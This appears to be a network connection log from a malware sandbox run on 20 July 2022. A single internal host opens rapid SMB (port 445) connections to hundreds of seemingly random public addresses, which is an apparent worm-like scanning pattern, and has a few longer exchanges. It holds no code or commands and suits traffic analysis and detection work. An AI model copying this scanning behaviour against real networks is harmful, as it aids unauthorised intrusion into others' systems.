Jul 20, 2022 19:31:32.442347050 CEST	445	51322	213.142.151.34	192.168.2.7
Jul 20, 2022 19:31:32.442370892 CEST	445	51322	213.142.151.34	192.168.2.7
Jul 20, 2022 19:31:32.447062969 CEST	445	51323	213.142.151.34	192.168.2.7
Jul 20, 2022 19:31:32.463926077 CEST	51323	445	192.168.2.7	213.142.151.34
Jul 20, 2022 19:31:32.465241909 CEST	51323	445	192.168.2.7	213.142.151.34
Jul 20, 2022 19:31:32.518424034 CEST	445	51323	213.142.151.34	192.168.2.7
Jul 20, 2022 19:31:32.530693054 CEST	51325	445	192.168.2.7	38.1.78.217
Jul 20, 2022 19:31:32.531774998 CEST	51326	445	192.168.2.7	116.10.60.147
Jul 20, 2022 19:31:32.533075094 CEST	51327	445	192.168.2.7	55.28.74.204
Jul 20, 2022 19:31:32.533272028 CEST	51328	445	192.168.2.7	13.109.35.90
Jul 20, 2022 19:31:32.539041996 CEST	51329	445	192.168.2.7	44.92.119.238
Jul 20, 2022 19:31:32.574116945 CEST	51330	445	192.168.2.7	128.152.112.212
Jul 20, 2022 19:31:32.574286938 CEST	51331	445	192.168.2.7	206.6.139.139
Jul 20, 2022 19:31:32.574322939 CEST	51332	445	192.168.2.7	95.190.75.165
Jul 20, 2022 19:31:32.586815119 CEST	51333	445	192.168.2.7	10.85.142.80
Jul 20, 2022 19:31:32.591558933 CEST	51334	445	192.168.2.7	185.6.112.190
Jul 20, 2022 19:31:32.591856003 CEST	51335	445	192.168.2.7	131.16.29.224
Jul 20, 2022 19:31:32.591922998 CEST	51336	445	192.168.2.7	82.172.156.244
Jul 20, 2022 19:31:32.591980934 CEST	51337	445	192.168.2.7	80.21.21.49
Jul 20, 2022 19:31:32.592169046 CEST	51338	445	192.168.2.7	98.199.93.19
Jul 20, 2022 19:31:32.592179060 CEST	51340	445	192.168.2.7	9.28.221.152
Jul 20, 2022 19:31:32.592183113 CEST	51341	445	192.168.2.7	32.170.130.38
Jul 20, 2022 19:31:32.592279911 CEST	51343	445	192.168.2.7	98.158.232.21
Jul 20, 2022 19:31:32.592297077 CEST	51342	445	192.168.2.7	223.150.46.73
Jul 20, 2022 19:31:32.593065023 CEST	51339	445	192.168.2.7	30.253.3.239
Jul 20, 2022 19:31:32.609344959 CEST	51344	445	192.168.2.7	35.64.125.135
Jul 20, 2022 19:31:32.627377033 CEST	51345	445	192.168.2.7	61.194.109.18
Jul 20, 2022 19:31:32.628104925 CEST	51346	445	192.168.2.7	4.158.146.63
Jul 20, 2022 19:31:32.630696058 CEST	51350	445	192.168.2.7	197.96.233.11
Jul 20, 2022 19:31:32.631355047 CEST	51351	445	192.168.2.7	201.102.178.91
Jul 20, 2022 19:31:32.632409096 CEST	51349	445	192.168.2.7	134.204.219.14
Jul 20, 2022 19:31:32.632432938 CEST	51352	445	192.168.2.7	110.38.217.49
Jul 20, 2022 19:31:32.632843018 CEST	51353	445	192.168.2.7	142.54.112.61
Jul 20, 2022 19:31:32.632852077 CEST	445	51334	185.6.112.190	192.168.2.7
Jul 20, 2022 19:31:32.633574963 CEST	51354	445	192.168.2.7	223.105.244.120
Jul 20, 2022 19:31:32.634269953 CEST	51355	445	192.168.2.7	17.68.15.33
Jul 20, 2022 19:31:32.634938955 CEST	51356	445	192.168.2.7	213.106.104.229
Jul 20, 2022 19:31:32.643726110 CEST	51357	445	192.168.2.7	12.49.254.104
Jul 20, 2022 19:31:33.205251932 CEST	51334	445	192.168.2.7	185.6.112.190
Jul 20, 2022 19:31:33.251204967 CEST	445	51334	185.6.112.190	192.168.2.7
Jul 20, 2022 19:31:33.647655010 CEST	51364	445	192.168.2.7	139.65.172.239
Jul 20, 2022 19:31:33.648471117 CEST	51365	445	192.168.2.7	15.88.240.95
Jul 20, 2022 19:31:33.648483992 CEST	51366	445	192.168.2.7	190.109.220.37
Jul 20, 2022 19:31:33.648555994 CEST	51367	445	192.168.2.7	206.9.180.67
Jul 20, 2022 19:31:33.648578882 CEST	51368	445	192.168.2.7	27.63.198.84
Jul 20, 2022 19:31:33.687649012 CEST	51369	445	192.168.2.7	158.90.39.223
Jul 20, 2022 19:31:33.688426018 CEST	51370	445	192.168.2.7	83.93.205.116
Jul 20, 2022 19:31:33.689270973 CEST	51371	445	192.168.2.7	46.157.241.252
Jul 20, 2022 19:31:33.742444992 CEST	51372	445	192.168.2.7	75.220.125.166
Jul 20, 2022 19:31:33.751154900 CEST	51373	445	192.168.2.7	44.152.62.74
Jul 20, 2022 19:31:33.751164913 CEST	51374	445	192.168.2.7	142.50.220.129
Jul 20, 2022 19:31:33.751260996 CEST	51375	445	192.168.2.7	157.97.136.96
Jul 20, 2022 19:31:33.751306057 CEST	51376	445	192.168.2.7	43.72.161.229
Jul 20, 2022 19:31:33.751352072 CEST	51377	445	192.168.2.7	96.7.174.61
Jul 20, 2022 19:31:33.751451015 CEST	51379	445	192.168.2.7	219.9.32.216
Jul 20, 2022 19:31:33.751460075 CEST	51378	445	192.168.2.7	2.195.238.167
Jul 20, 2022 19:31:33.751466036 CEST	51380	445	192.168.2.7	73.142.219.199
Jul 20, 2022 19:31:33.751549006 CEST	51381	445	192.168.2.7	5.56.0.220
Jul 20, 2022 19:31:33.751583099 CEST	51382	445	192.168.2.7	122.234.60.83
Jul 20, 2022 19:31:33.751703978 CEST	51383	445	192.168.2.7	35.7.153.199
Jul 20, 2022 19:31:33.755290031 CEST	51385	445	192.168.2.7	205.245.202.252
Jul 20, 2022 19:31:33.755717993 CEST	51386	445	192.168.2.7	94.55.205.143
Jul 20, 2022 19:31:33.756295919 CEST	51387	445	192.168.2.7	56.13.23.131
Jul 20, 2022 19:31:33.756920099 CEST	51388	445	192.168.2.7	114.168.96.97
Jul 20, 2022 19:31:33.757720947 CEST	51389	445	192.168.2.7	149.121.91.116
Jul 20, 2022 19:31:33.758466959 CEST	51390	445	192.168.2.7	125.150.82.79
Jul 20, 2022 19:31:33.760569096 CEST	51393	445	192.168.2.7	66.32.22.135
Jul 20, 2022 19:31:33.761274099 CEST	51394	445	192.168.2.7	166.168.98.94
Jul 20, 2022 19:31:33.762056112 CEST	51395	445	192.168.2.7	82.102.202.41
Jul 20, 2022 19:31:33.762759924 CEST	51396	445	192.168.2.7	52.223.121.41
Jul 20, 2022 19:31:34.777497053 CEST	51407	445	192.168.2.7	144.164.127.124
Jul 20, 2022 19:31:34.777513981 CEST	51406	445	192.168.2.7	124.144.71.217
Jul 20, 2022 19:31:34.777528048 CEST	51405	445	192.168.2.7	6.205.232.66
Jul 20, 2022 19:31:34.777530909 CEST	51403	445	192.168.2.7	133.185.65.11
Jul 20, 2022 19:31:34.777568102 CEST	51404	445	192.168.2.7	206.247.112.11
Jul 20, 2022 19:31:34.792155027 CEST	51408	445	192.168.2.7	126.241.161.110
Jul 20, 2022 19:31:34.792937994 CEST	51409	445	192.168.2.7	149.81.188.116
Jul 20, 2022 19:31:34.793734074 CEST	51410	445	192.168.2.7	130.245.216.19
Jul 20, 2022 19:31:34.859949112 CEST	51412	445	192.168.2.7	166.55.100.205
Jul 20, 2022 19:31:34.860086918 CEST	51414	445	192.168.2.7	139.218.52.131
Jul 20, 2022 19:31:34.860089064 CEST	51411	445	192.168.2.7	89.177.22.236
Jul 20, 2022 19:31:34.860117912 CEST	51413	445	192.168.2.7	172.69.251.169
Jul 20, 2022 19:31:34.860217094 CEST	51416	445	192.168.2.7	119.87.129.30
Jul 20, 2022 19:31:34.860223055 CEST	51417	445	192.168.2.7	12.28.96.41
Jul 20, 2022 19:31:34.860311031 CEST	51418	445	192.168.2.7	210.122.216.77
Jul 20, 2022 19:31:34.860411882 CEST	51415	445	192.168.2.7	50.102.183.118
Jul 20, 2022 19:31:34.860413074 CEST	51419	445	192.168.2.7	131.159.243.189
Jul 20, 2022 19:31:34.860424042 CEST	51420	445	192.168.2.7	93.143.169.128
Jul 20, 2022 19:31:34.863269091 CEST	51421	445	192.168.2.7	162.153.73.70
Jul 20, 2022 19:31:34.863291979 CEST	51422	445	192.168.2.7	216.200.245.136
Jul 20, 2022 19:31:34.886013031 CEST	51424	445	192.168.2.7	68.211.13.196
Jul 20, 2022 19:31:34.886322975 CEST	51423	445	192.168.2.7	40.38.68.73
Jul 20, 2022 19:31:34.889262915 CEST	51425	445	192.168.2.7	209.10.141.58
Jul 20, 2022 19:31:34.889828920 CEST	51426	445	192.168.2.7	184.162.19.11
Jul 20, 2022 19:31:34.889915943 CEST	51429	445	192.168.2.7	118.77.112.75
Jul 20, 2022 19:31:34.889940023 CEST	51430	445	192.168.2.7	100.148.132.34
Jul 20, 2022 19:31:34.890007973 CEST	51431	445	192.168.2.7	70.51.29.151
Jul 20, 2022 19:31:34.890022039 CEST	51432	445	192.168.2.7	177.188.91.162
Jul 20, 2022 19:31:34.890099049 CEST	51433	445	192.168.2.7	118.121.215.250
Jul 20, 2022 19:31:34.890166044 CEST	51435	445	192.168.2.7	58.75.165.73
Jul 20, 2022 19:31:34.891237974 CEST	51434	445	192.168.2.7	200.91.135.36
Jul 20, 2022 19:31:35.545579910 CEST	51441	445	192.168.2.7	213.142.151.34
Jul 20, 2022 19:31:35.598201036 CEST	445	51441	213.142.151.34	192.168.2.7
Jul 20, 2022 19:31:35.605418921 CEST	51441	445	192.168.2.7	213.142.151.34
Jul 20, 2022 19:31:35.608750105 CEST	51441	445	192.168.2.7	213.142.151.34
Jul 20, 2022 19:31:35.661230087 CEST	445	51441	213.142.151.34	192.168.2.7
Jul 20, 2022 19:31:35.730710030 CEST	51443	445	192.168.2.7	213.142.151.35
Jul 20, 2022 19:31:35.893949986 CEST	51445	445	192.168.2.7	158.61.175.245
Jul 20, 2022 19:31:35.894618034 CEST	51446	445	192.168.2.7	160.217.254.131
Jul 20, 2022 19:31:35.894619942 CEST	51447	445	192.168.2.7	6.133.33.83
Jul 20, 2022 19:31:35.894723892 CEST	51448	445	192.168.2.7	82.179.54.64
Jul 20, 2022 19:31:35.894725084 CEST	51449	445	192.168.2.7	74.222.112.218
Jul 20, 2022 19:31:35.925560951 CEST	51450	445	192.168.2.7	149.29.87.22
Jul 20, 2022 19:31:35.926120043 CEST	51451	445	192.168.2.7	217.8.217.171
Jul 20, 2022 19:31:35.926753998 CEST	51452	445	192.168.2.7	8.45.215.231
Jul 20, 2022 19:31:36.001144886 CEST	51456	445	192.168.2.7	184.7.193.113
Jul 20, 2022 19:31:36.001174927 CEST	51462	445	192.168.2.7	46.225.238.174
Jul 20, 2022 19:31:36.001185894 CEST	51453	445	192.168.2.7	67.210.130.113
Jul 20, 2022 19:31:36.001185894 CEST	51454	445	192.168.2.7	45.144.47.13
Jul 20, 2022 19:31:36.001190901 CEST	51460	445	192.168.2.7	186.217.21.163
Jul 20, 2022 19:31:36.001197100 CEST	51461	445	192.168.2.7	179.179.11.30
Jul 20, 2022 19:31:36.001207113 CEST	51459	445	192.168.2.7	178.7.220.66
Jul 20, 2022 19:31:36.001223087 CEST	51455	445	192.168.2.7	124.248.128.244
Jul 20, 2022 19:31:36.001240969 CEST	51463	445	192.168.2.7	221.114.103.30
Jul 20, 2022 19:31:36.001244068 CEST	51457	445	192.168.2.7	118.34.60.20
Jul 20, 2022 19:31:36.001247883 CEST	51464	445	192.168.2.7	211.76.128.78
Jul 20, 2022 19:31:36.001302958 CEST	51458	445	192.168.2.7	78.231.71.63
Jul 20, 2022 19:31:36.010747910 CEST	51465	445	192.168.2.7	36.241.69.200
Jul 20, 2022 19:31:36.011435032 CEST	51466	445	192.168.2.7	24.55.12.212
Jul 20, 2022 19:31:36.012000084 CEST	51467	445	192.168.2.7	11.21.216.228
Jul 20, 2022 19:31:36.012638092 CEST	51468	445	192.168.2.7	189.14.208.28
Jul 20, 2022 19:31:36.016915083 CEST	51469	445	192.168.2.7	48.114.98.231
Jul 20, 2022 19:31:36.017487049 CEST	51471	445	192.168.2.7	138.18.92.246
Jul 20, 2022 19:31:36.017534971 CEST	51470	445	192.168.2.7	70.43.117.182
Jul 20, 2022 19:31:36.017689943 CEST	51473	445	192.168.2.7	19.234.169.178
Jul 20, 2022 19:31:36.017703056 CEST	51475	445	192.168.2.7	157.17.145.54
Jul 20, 2022 19:31:36.017797947 CEST	51476	445	192.168.2.7	30.222.82.36
Jul 20, 2022 19:31:36.017858028 CEST	51477	445	192.168.2.7	202.66.63.35
Jul 20, 2022 19:31:36.228111982 CEST	445	51468	189.14.208.28	192.168.2.7
Jul 20, 2022 19:31:36.331326962 CEST	445	51455	124.248.128.244	192.168.2.7
Jul 20, 2022 19:31:36.804133892 CEST	51484	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:36.818422079 CEST	51468	445	192.168.2.7	189.14.208.28
Jul 20, 2022 19:31:36.856040955 CEST	445	51484	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:36.856163979 CEST	51484	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:36.856334925 CEST	51484	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:36.869029999 CEST	51485	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:36.911210060 CEST	445	51484	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:36.911222935 CEST	445	51484	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:36.926526070 CEST	445	51485	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:36.926739931 CEST	51485	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:36.926877975 CEST	51485	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:36.984201908 CEST	445	51485	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:36.984664917 CEST	445	51485	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:36.984882116 CEST	51485	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:37.008620024 CEST	51487	445	192.168.2.7	17.217.57.170
Jul 20, 2022 19:31:37.009500027 CEST	51488	445	192.168.2.7	46.183.203.245
Jul 20, 2022 19:31:37.009551048 CEST	51489	445	192.168.2.7	102.172.152.52
Jul 20, 2022 19:31:37.009562969 CEST	51490	445	192.168.2.7	112.86.72.40
Jul 20, 2022 19:31:37.009732962 CEST	51491	445	192.168.2.7	131.50.38.92
Jul 20, 2022 19:31:37.035877943 CEST	445	51468	189.14.208.28	192.168.2.7
Jul 20, 2022 19:31:37.039855957 CEST	51492	445	192.168.2.7	31.38.47.197
Jul 20, 2022 19:31:37.040544033 CEST	51493	445	192.168.2.7	11.221.179.187
Jul 20, 2022 19:31:37.041487932 CEST	51494	445	192.168.2.7	193.138.3.46
Jul 20, 2022 19:31:37.042876959 CEST	445	51485	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:37.043143988 CEST	51485	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:37.101948023 CEST	445	51485	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:37.102385044 CEST	51495	445	192.168.2.7	82.70.158.209
Jul 20, 2022 19:31:37.105712891 CEST	51496	445	192.168.2.7	51.116.205.24
Jul 20, 2022 19:31:37.105783939 CEST	51497	445	192.168.2.7	216.120.55.89
Jul 20, 2022 19:31:37.106020927 CEST	51498	445	192.168.2.7	63.221.249.190
Jul 20, 2022 19:31:37.106247902 CEST	51499	445	192.168.2.7	29.38.252.86
Jul 20, 2022 19:31:37.106280088 CEST	51500	445	192.168.2.7	213.96.133.222
Jul 20, 2022 19:31:37.106405973 CEST	51501	445	192.168.2.7	115.224.38.134
Jul 20, 2022 19:31:37.106453896 CEST	51502	445	192.168.2.7	122.249.251.132
Jul 20, 2022 19:31:37.106522083 CEST	51503	445	192.168.2.7	31.182.54.194
Jul 20, 2022 19:31:37.106599092 CEST	51505	445	192.168.2.7	214.22.193.26
Jul 20, 2022 19:31:37.106602907 CEST	51504	445	192.168.2.7	78.87.107.66
Jul 20, 2022 19:31:37.106669903 CEST	51506	445	192.168.2.7	55.112.112.25
Jul 20, 2022 19:31:37.132803917 CEST	51508	445	192.168.2.7	3.78.83.175
Jul 20, 2022 19:31:37.133497000 CEST	51509	445	192.168.2.7	7.2.141.76
Jul 20, 2022 19:31:37.134036064 CEST	51510	445	192.168.2.7	52.88.226.15
Jul 20, 2022 19:31:37.134540081 CEST	51511	445	192.168.2.7	148.102.252.9
Jul 20, 2022 19:31:37.135044098 CEST	51512	445	192.168.2.7	14.24.246.114
Jul 20, 2022 19:31:37.147481918 CEST	51513	445	192.168.2.7	116.134.198.134
Jul 20, 2022 19:31:37.148890018 CEST	51515	445	192.168.2.7	74.241.37.204
Jul 20, 2022 19:31:37.149791002 CEST	51516	445	192.168.2.7	9.68.184.20
Jul 20, 2022 19:31:37.152878046 CEST	51517	445	192.168.2.7	40.168.123.240
Jul 20, 2022 19:31:37.153767109 CEST	51519	445	192.168.2.7	73.235.94.161
Jul 20, 2022 19:31:37.154721975 CEST	51521	445	192.168.2.7	91.36.99.90
Jul 20, 2022 19:31:38.269754887 CEST	51527	445	192.168.2.7	126.174.174.138
Jul 20, 2022 19:31:38.270473003 CEST	51528	445	192.168.2.7	176.226.30.180
Jul 20, 2022 19:31:38.271159887 CEST	51529	445	192.168.2.7	77.147.120.133
Jul 20, 2022 19:31:38.272852898 CEST	51530	445	192.168.2.7	205.40.118.102
Jul 20, 2022 19:31:38.273794889 CEST	51531	445	192.168.2.7	87.108.110.178
Jul 20, 2022 19:31:38.376600027 CEST	51533	445	192.168.2.7	139.129.87.23
Jul 20, 2022 19:31:38.377327919 CEST	51534	445	192.168.2.7	85.254.200.46
Jul 20, 2022 19:31:38.378017902 CEST	51535	445	192.168.2.7	19.97.22.192
Jul 20, 2022 19:31:38.382567883 CEST	51536	445	192.168.2.7	39.197.196.44
Jul 20, 2022 19:31:38.383230925 CEST	51538	445	192.168.2.7	207.167.146.104
Jul 20, 2022 19:31:38.384186983 CEST	51539	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:31:38.384872913 CEST	51540	445	192.168.2.7	223.75.189.213
Jul 20, 2022 19:31:38.386215925 CEST	51542	445	192.168.2.7	112.119.185.254
Jul 20, 2022 19:31:38.387527943 CEST	51544	445	192.168.2.7	146.83.192.201
Jul 20, 2022 19:31:38.388240099 CEST	51545	445	192.168.2.7	9.241.122.152
Jul 20, 2022 19:31:38.388974905 CEST	51546	445	192.168.2.7	32.191.226.20
Jul 20, 2022 19:31:38.389714003 CEST	51547	445	192.168.2.7	6.248.221.52
Jul 20, 2022 19:31:38.390397072 CEST	51548	445	192.168.2.7	38.241.52.207
Jul 20, 2022 19:31:38.391103983 CEST	51549	445	192.168.2.7	83.79.58.132
Jul 20, 2022 19:31:38.391864061 CEST	51550	445	192.168.2.7	40.9.87.78
Jul 20, 2022 19:31:38.392818928 CEST	51551	445	192.168.2.7	77.177.190.111
Jul 20, 2022 19:31:38.393572092 CEST	51552	445	192.168.2.7	148.0.114.136
Jul 20, 2022 19:31:38.394280910 CEST	51553	445	192.168.2.7	169.76.162.240
Jul 20, 2022 19:31:38.394969940 CEST	51554	445	192.168.2.7	219.209.67.8
Jul 20, 2022 19:31:38.395664930 CEST	51555	445	192.168.2.7	94.26.135.63
Jul 20, 2022 19:31:38.396315098 CEST	51556	445	192.168.2.7	180.166.224.180
Jul 20, 2022 19:31:38.400636911 CEST	51557	445	192.168.2.7	213.254.98.100
Jul 20, 2022 19:31:38.401654959 CEST	51558	445	192.168.2.7	72.53.225.157
Jul 20, 2022 19:31:38.402374983 CEST	51559	445	192.168.2.7	63.201.27.7
Jul 20, 2022 19:31:38.403126001 CEST	51560	445	192.168.2.7	65.173.84.151
Jul 20, 2022 19:31:38.403845072 CEST	51561	445	192.168.2.7	60.210.227.110
Jul 20, 2022 19:31:38.406465054 CEST	445	51539	51.158.189.139	192.168.2.7
Jul 20, 2022 19:31:38.406903028 CEST	51539	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:31:38.406925917 CEST	51539	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:31:38.407373905 CEST	51563	445	192.168.2.7	51.158.189.1
Jul 20, 2022 19:31:38.433847904 CEST	445	51539	51.158.189.139	192.168.2.7
Jul 20, 2022 19:31:38.433981895 CEST	51539	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:31:39.401201963 CEST	51570	445	192.168.2.7	188.54.71.127
Jul 20, 2022 19:31:39.401698112 CEST	51571	445	192.168.2.7	98.188.236.64
Jul 20, 2022 19:31:39.402656078 CEST	51573	445	192.168.2.7	3.70.197.205
Jul 20, 2022 19:31:39.500582933 CEST	445	51570	188.54.71.127	192.168.2.7
Jul 20, 2022 19:31:40.068680048 CEST	51570	445	192.168.2.7	188.54.71.127
Jul 20, 2022 19:31:40.168555021 CEST	445	51570	188.54.71.127	192.168.2.7
Jul 20, 2022 19:31:40.191327095 CEST	51574	445	192.168.2.7	19.0.191.24
Jul 20, 2022 19:31:40.193064928 CEST	51575	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:40.194425106 CEST	51576	445	192.168.2.7	157.160.44.229
Jul 20, 2022 19:31:40.194494963 CEST	51577	445	192.168.2.7	158.138.121.99
Jul 20, 2022 19:31:40.194730043 CEST	51579	445	192.168.2.7	214.224.59.177
Jul 20, 2022 19:31:40.194813013 CEST	51580	445	192.168.2.7	7.72.68.167
Jul 20, 2022 19:31:40.194922924 CEST	51582	445	192.168.2.7	47.125.161.194
Jul 20, 2022 19:31:40.195202112 CEST	51584	445	192.168.2.7	159.35.95.254
Jul 20, 2022 19:31:40.195281029 CEST	51585	445	192.168.2.7	120.20.183.38
Jul 20, 2022 19:31:40.195354939 CEST	51586	445	192.168.2.7	41.97.66.138
Jul 20, 2022 19:31:40.195425987 CEST	51587	445	192.168.2.7	112.237.54.57
Jul 20, 2022 19:31:40.195508957 CEST	51588	445	192.168.2.7	203.26.219.82
Jul 20, 2022 19:31:40.195574999 CEST	51589	445	192.168.2.7	87.163.149.205
Jul 20, 2022 19:31:40.195643902 CEST	51590	445	192.168.2.7	63.46.175.58
Jul 20, 2022 19:31:40.195727110 CEST	51591	445	192.168.2.7	6.45.12.122
Jul 20, 2022 19:31:40.195791006 CEST	51592	445	192.168.2.7	181.32.25.90
Jul 20, 2022 19:31:40.195882082 CEST	51593	445	192.168.2.7	17.231.110.13
Jul 20, 2022 19:31:40.195957899 CEST	51594	445	192.168.2.7	178.43.105.115
Jul 20, 2022 19:31:40.196032047 CEST	51595	445	192.168.2.7	110.110.6.245
Jul 20, 2022 19:31:40.196105957 CEST	51596	445	192.168.2.7	72.166.51.59
Jul 20, 2022 19:31:40.196177006 CEST	51597	445	192.168.2.7	163.183.20.57
Jul 20, 2022 19:31:40.196247101 CEST	51598	445	192.168.2.7	190.71.133.231
Jul 20, 2022 19:31:40.196315050 CEST	51599	445	192.168.2.7	56.184.242.31
Jul 20, 2022 19:31:40.199151993 CEST	51605	445	192.168.2.7	198.203.201.243
Jul 20, 2022 19:31:40.199234962 CEST	51606	445	192.168.2.7	200.195.238.169
Jul 20, 2022 19:31:40.199301004 CEST	51607	445	192.168.2.7	126.223.150.231
Jul 20, 2022 19:31:40.199366093 CEST	51608	445	192.168.2.7	49.71.207.249
Jul 20, 2022 19:31:40.199429989 CEST	51609	445	192.168.2.7	149.156.19.60
Jul 20, 2022 19:31:40.249147892 CEST	445	51575	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:40.249342918 CEST	51575	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:40.264473915 CEST	51575	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:40.268841982 CEST	51610	445	192.168.2.7	51.158.189.2
Jul 20, 2022 19:31:40.320571899 CEST	445	51575	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:40.352886915 CEST	51575	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:40.409085989 CEST	445	51575	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:40.447361946 CEST	51575	445	192.168.2.7	213.142.151.36
Jul 20, 2022 19:31:40.503627062 CEST	445	51575	213.142.151.36	192.168.2.7
Jul 20, 2022 19:31:40.642148972 CEST	51613	445	192.168.2.7	20.253.244.142
Jul 20, 2022 19:31:40.642766953 CEST	51614	445	192.168.2.7	125.167.135.19
Jul 20, 2022 19:31:40.643764019 CEST	51616	445	192.168.2.7	168.87.40.220
Jul 20, 2022 19:31:40.645812988 CEST	51617	445	192.168.2.7	213.142.151.37
Jul 20, 2022 19:31:41.660521984 CEST	51618	445	192.168.2.7	51.158.189.3
Jul 20, 2022 19:31:41.662085056 CEST	51621	445	192.168.2.7	195.239.29.230
Jul 20, 2022 19:31:41.666637897 CEST	51622	445	192.168.2.7	75.188.191.234
Jul 20, 2022 19:31:41.669050932 CEST	51624	445	192.168.2.7	57.153.14.73
Jul 20, 2022 19:31:41.669595957 CEST	51625	445	192.168.2.7	9.253.247.241
Jul 20, 2022 19:31:41.670617104 CEST	51627	445	192.168.2.7	216.98.65.74
Jul 20, 2022 19:31:41.671588898 CEST	51629	445	192.168.2.7	191.84.238.14
Jul 20, 2022 19:31:41.672143936 CEST	51630	445	192.168.2.7	190.83.111.10
Jul 20, 2022 19:31:41.688462019 CEST	51631	445	192.168.2.7	40.59.200.249
Jul 20, 2022 19:31:41.689229012 CEST	51632	445	192.168.2.7	150.0.39.173
Jul 20, 2022 19:31:41.689318895 CEST	51633	445	192.168.2.7	87.7.98.20
Jul 20, 2022 19:31:41.689424038 CEST	51634	445	192.168.2.7	47.101.143.0
Jul 20, 2022 19:31:41.689527035 CEST	51635	445	192.168.2.7	60.200.199.148
Jul 20, 2022 19:31:41.689625978 CEST	51636	445	192.168.2.7	146.24.34.201
Jul 20, 2022 19:31:41.689711094 CEST	51637	445	192.168.2.7	7.150.66.188
Jul 20, 2022 19:31:41.689913034 CEST	51639	445	192.168.2.7	180.59.253.138
Jul 20, 2022 19:31:41.689996004 CEST	51640	445	192.168.2.7	87.242.103.10
Jul 20, 2022 19:31:41.690167904 CEST	51642	445	192.168.2.7	109.0.221.162
Jul 20, 2022 19:31:41.690256119 CEST	51643	445	192.168.2.7	93.75.1.111
Jul 20, 2022 19:31:41.690336943 CEST	51644	445	192.168.2.7	138.95.209.110
Jul 20, 2022 19:31:41.690644979 CEST	51650	445	192.168.2.7	78.128.82.167
Jul 20, 2022 19:31:41.690743923 CEST	51651	445	192.168.2.7	125.0.213.233
Jul 20, 2022 19:31:41.690834045 CEST	51652	445	192.168.2.7	201.225.16.232
Jul 20, 2022 19:31:41.690974951 CEST	51653	445	192.168.2.7	154.211.224.114
Jul 20, 2022 19:31:41.691061974 CEST	51654	445	192.168.2.7	3.48.197.7
Jul 20, 2022 19:31:41.691148043 CEST	51655	445	192.168.2.7	184.148.147.240
Jul 20, 2022 19:31:41.691307068 CEST	51638	445	192.168.2.7	106.239.176.75
Jul 20, 2022 19:31:41.691334963 CEST	51641	445	192.168.2.7	200.201.192.169
Jul 20, 2022 19:31:41.837975025 CEST	51657	445	192.168.2.7	213.142.151.38
Jul 20, 2022 19:31:41.838593006 CEST	51658	445	192.168.2.7	173.14.119.156
Jul 20, 2022 19:31:41.839116096 CEST	51659	445	192.168.2.7	69.96.16.106
Jul 20, 2022 19:31:41.840368986 CEST	51661	445	192.168.2.7	5.204.52.148
Jul 20, 2022 19:31:42.666243076 CEST	51663	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:42.666275978 CEST	443	51663	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:42.666349888 CEST	51663	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:42.667188883 CEST	51663	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:42.667197943 CEST	443	51663	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:42.726022005 CEST	51664	445	192.168.2.7	51.158.189.4
Jul 20, 2022 19:31:42.762643099 CEST	443	51663	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:42.762806892 CEST	51663	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:42.766171932 CEST	51663	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:42.766189098 CEST	443	51663	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:42.766525030 CEST	443	51663	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:42.767767906 CEST	51663	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:42.767874002 CEST	51663	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:42.767883062 CEST	443	51663	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:42.768059969 CEST	51663	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:42.773710966 CEST	51665	445	192.168.2.7	154.117.83.46
Jul 20, 2022 19:31:42.774399042 CEST	51666	445	192.168.2.7	158.43.203.151
Jul 20, 2022 19:31:42.775791883 CEST	51668	445	192.168.2.7	94.73.109.241
Jul 20, 2022 19:31:42.777170897 CEST	51670	445	192.168.2.7	205.81.224.185
Jul 20, 2022 19:31:42.777945995 CEST	51671	445	192.168.2.7	93.198.103.182
Jul 20, 2022 19:31:42.780350924 CEST	51674	445	192.168.2.7	178.68.21.129
Jul 20, 2022 19:31:42.798237085 CEST	51676	445	192.168.2.7	145.141.156.36
Jul 20, 2022 19:31:42.804316998 CEST	51677	445	192.168.2.7	48.178.228.76
Jul 20, 2022 19:31:42.805056095 CEST	51678	445	192.168.2.7	41.44.190.230
Jul 20, 2022 19:31:42.807631969 CEST	443	51663	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:42.807710886 CEST	443	51663	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:42.807786942 CEST	51663	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:42.807977915 CEST	51663	443	192.168.2.7	20.199.120.85
